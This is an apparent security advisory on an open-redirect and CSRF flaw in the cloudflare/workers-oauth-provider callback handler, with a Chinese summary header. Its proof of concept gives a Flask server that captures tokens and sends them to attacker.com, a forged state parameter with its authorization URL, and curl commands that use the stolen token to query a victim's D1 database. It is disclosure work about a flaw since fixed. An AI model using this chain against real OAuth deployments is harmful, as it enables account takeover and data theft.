Token Leak via Open Redirection and CSRF in the Callback Handler of cloudflare/workers-oauth-provider
Cloudflare MCP服务器的OAuth实现存在漏洞:未防止CSRF攻击且明文存储redirect_uri和PKCE代码验证器。攻击者可构造恶意URL劫持用户令牌并访问敏感数据。该漏洞已修复。 2025-12-14 23:59:24 Author: github.com(查看原文) 阅读量:1 收藏

Summary

Clients are required in the OAuth spec to prevent CSRF attacks at its Callback handler. The implementation in cloudflare/workers-oauth-provider doesn’t protect against CSRF and, in addition, it uses the plaintext redirect_uri parameter in the base64 encoded state parameter to redirect the auth code or token. This means that an attacker crafted URL with a custom state parameter can openly redirect the user’s MCP OAuth token to arbitrary endpoints even though the user thinks they are interacting with a known MCP server.

Background

Normally, authentication with Cloudflare MCP servers using cloudflare/workers-oauth-provider involves two separate OAuth flows, one between the MCP Client and the Cloudflare MCP Server and another between the MCP Server (acting as an OAuth client) and the Cloudflare Authorization server. This matches the Third-Party Authorization Flow found in early versions of the MCP Specification that has since been removed.

However, the attacker can short circuit the normal flow by creating their own Authorization URL, replacing the redirection URL that would normally go to the Valid MCP client with their own server’s URL. This results in the user going through an OAuth flow with Cloudflare’s Authorization server and MCP Server as if it was a valid client, but instead redirecting the user’s token to the attacker’s server.

At the time of reporting this issue, there was also no consent page for dynamically registered OAuth clients at Cloudflare’s MCP servers which would also allow token theft by the attacker dynamically registering their own OAuth client. This separate issue is in the MCP Server implementation itself and was already known by Cloudflare and has since also been fixed.

Severity

Medium - The user must visit a link and consent to giving Cloudflare’s MCP server access to their account (see screenshot in Proof of Concept section), however there is no consent mentioning or granting access to the attacker controlled endpoint. This results in the user thinking they are interacting only with valid Cloudflare owned services, while their token is actually being sent to the attacker.

Proof of Concept

The cloudflare/workers-oauth-provider callback handler implementation trusts the incoming state parameter without performing any CSRF prevention. The state parameter is a base64 encoded, but otherwise unprotected, JSON message that contains the redirectUri the user’s auth code or token is redirected to. This redirectUri is not checked against the OAuth client configuration.

As an example, the decoded state parameter from a valid OAuth flow looks like:

{"responseType":"code","clientId":"sXb8fhGMa3fEXvCy","redirectUri":"https://playground.ai.cloudflare.com/oauth/callback","scope":\["user:read","offline\_access","account:read","workers:write","d1:write"\],"state":"57597f07-2614-418d-aef3-963b0208a28b","codeChallenge":"dEsHKuCPzu8gcSYZ2XCm1GVeaL-I4EYx0tQbT1ikLqs","codeChallengeMethod":"S256","codeVerifier":"VnRTSDVuVU02eldrZGNOfnVfb0NMOUNwM2Y3TFJOX0pVd2VKREVYU0VEYTYyalNrOEpnfldEblU3dUl0dE85My5rV1MwRUxmLmRwLm5HY1VmdWUtSF9OVnNZM3g0dEV2"}

As the Attacker

Create a hosted endpoint that can capture the callback from the server using cloudflare/workers-oauth-provider. We use https://bindings.mcp.cloudflare.com/ as an example that uses cloudflare/workers-oauth-provider, but all the Cloudflare MCP servers appear to use the package. We will say this callback is hosted at https://attacker.com/callback in the example below.

import datetime  
import tempfile  
import base64

from flask import Flask, request, redirect

app = Flask(__name__)

@app.route("/callback")  
def callback():  
    html_content = """  
        <!DOCTYPE html>  
        <html>  
        <head>  
            <script>  
                const hash_params = new URLSearchParams(window.location.hash.substring(1));  
                fetch('/store?params=' + btoa(hash_params.get("access_token")))  
                .then(response => {  
                    window.location.href = "https://dash.cloudflare.com";  
                })  
                .catch(error => {  
                });  
            <script>  
        <head>  
        <body>  
        </body>  
        </html>  
        """  
    return html_content

@app.route("/store")  
def store():  
    with open("/tmp/params", "w") as file:  
        file.write(request.args\['params'\])  
    return '', 200

      
@app.route("/getlast")  
def root():  
    with open("/tmp/params", "r") as file:  
        params \= file.read()  
        return {  
            "params": base64.b64decode(params).decode('utf-8')  
          }

if __name__== "__main__":  
    app.run(host="127.0.0.1", port=8080, debug=True)
  1. Create a new state parameter. We alter the redirectUri parameter to an attacker controlled endpoint. We also change the responseType to token. This results in the implicit flow being used to make things simpler, but is not a requirement.
{"responseType":"token","clientId":"sXb8fhGMa3fEXvCy","redirectUri":"https://attacker.com/callback","scope":\["user:read","offline\_access","account:read","workers:write","d1:write"\],"state":"57597f07-2614-418d-aef3-963b0208a28b", "codeChallenge":"dEsHKuCPzu8gcSYZ2XCm1GVeaL-I4EYx0tQbT1ikLqs","codeChallengeMethod":"S256","codeVerifier":"VnRTSDVuVU02eldrZGNOfnVfb0NMOUNwM2Y3TFJOX0pVd2VKREVYU0VEYTYyalNrOEpnfldEblU3dUl0dE85My5rV1MwRUxmLmRwLm5HY1VmdWUtSF9OVnNZM3g0dEV2"}
  1. Base64 encode the state and craft a URL to Cloudflare’s OAuth server. We use https://bindings.mcp.cloudflare.com as an example that uses cloudflare/workers-oauth-provider, but all the Cloudflare MCP servers appear to use it.
https://dash.cloudflare.com/oauth2/auth?response\_type=code\&client\_id=06a111c3-bae3-4837-9ea1-19a477410e9d\&redirect\_uri=https%3A%2F%2Fbindings.mcp.cloudflare.com%2Foauth%2Fcallback\&state=eyJyZXNwb25zZVR5cGUiOiJ0b2tlbiIsImNsaWVudElkIjoic1hiOGZoR01hM2ZFWHZDeSIsInJlZGlyZWN0VXJpIjoiaHR0cHM6Ly9wYXJhbXNzZXJ2ZXItZG90LXRlc3QtY2xpZW50LTMzNzMwNC51dy5yLmFwcHNwb3QuY29tL2NhbGxiYWNrIiwic2NvcGUiOlsidXNlcjpyZWFkIiwib2ZmbGluZV9hY2Nlc3MiLCJhY2NvdW50OnJlYWQiLCJ3b3JrZXJzOndyaXRlIiwiZDE6d3JpdGUiXSwic3RhdGUiOiJhMmUxMmE3My1mNDZmLTQ3NmMtOTdiNy1kODk1YzA4Yzg5YmUiLCAiY29kZUNoYWxsZW5nZSI6ImRFc0hLdUNQenU4Z2NTWVoyWENtMUdWZWFMLUk0RVl4MHRRYlQxaWtMcXMiLCJjb2RlQ2hhbGxlbmdlTWV0aG9kIjoiUzI1NiIsImNvZGVWZXJpZmllciI6IlZuUlRTRFZ1VlUwMmVsZHJaR05PZm5WZmIwTk1PVU53TTJZM1RGSk9YMHBWZDJWS1JFVllVMFZFWVRZeWFsTnJPRXBuZmxkRWJsVTNkVWwwZEU4NU15NXJWMU13UlV4bUxtUndMbTVIWTFWbWRXVXRTRjlPVm5OWk0zZzBkRVYyIn0K\&code\_challenge=dEsHKuCPzu8gcSYZ2XCm1GVeaL-I4EYx0tQbT1ikLqs\&code\_challenge\_method=S256\&scope=user%3Aread+offline\_access+account%3Aread+workers%3Awrite+d1%3Awrite

As the Victim

  1. Visit the link, this will show a consent screen, but it makes no mention of the attacker’s web endpoint, but only the Cloudflare MCP server. Since this is a Cloudflare service, Cloudflare users trust it and click allow. This redirects the user through the standard OAuth flow to https://attacker.com/callback, which stores the OAuth token and redirects the user to https://dash.cloudflare.com as if nothing happened.

As the Attacker

  1. Visit https://attacker.com/getlast to get the victim’s token.
  2. In one terminal start an SSE connection to the MCP server using the access_token, this will return a session_id
curl -N -X POST -H "authorization: Bearer access_token" https://bindings.mcp.cloudflare.com/sse
  1. In a new terminal window, list the accounts to verify we have the victims token. With this token we can call any of the commands on the MCP server.
curl -X POST -H "authorization: Bearer access_token" -H "mcp-protocol-version: 2025-06-18" -H "accept: application/json, text/event-stream" -H "content-type: application/json" -d '{"method":"tools/call","params":{"name":"accounts_list","arguments":{}},"jsonrpc":"2.0","id":3}' https://bindings.mcp.cloudflare.com/sse/message?sessionId=session\_id
  1. As an example, using the token, the attacker can query data from the victims D1 database.
curl -X POST -H "authorization: Bearer access_token" -H "mcp-protocol-version: 2025-06-18" -H "accept: application/json, text/event-stream" -H "content-type: application/json" -d '{"method":"tools/call","params":{"name":"d1_database_query","arguments":{"database_id":"database_id","sql":"SELECT * FROM secrets","params":null}},"jsonrpc":"2.0","id":3}' https://bindings.mcp.cloudflare.com/sse/message?sessionId=session\_id

Further Analysis

In addition to the issue above, the PKCE code verifier is also encoded into the state parameter in plaintext. This value, per the specification, is supposed to be a secret held by the client. By encoding it into the easily accessible state, an attacker who is able to intercept the code (the attack model PKCE is designed to prevent) would also intercept the code verifier, defeating the protection PKCE gives. The PKCE code verifier needs to be kept secret by the client.

Timeline

Date reported: 2025-09-16
Date fixed: 2025-10-20 (Verified)
Date disclosed: 2025-12-15


文章来源: https://github.com/google/security-research/security/advisories/GHSA-2h78-5wx8-jccc
如有侵权请联系:admin#unsafe.sh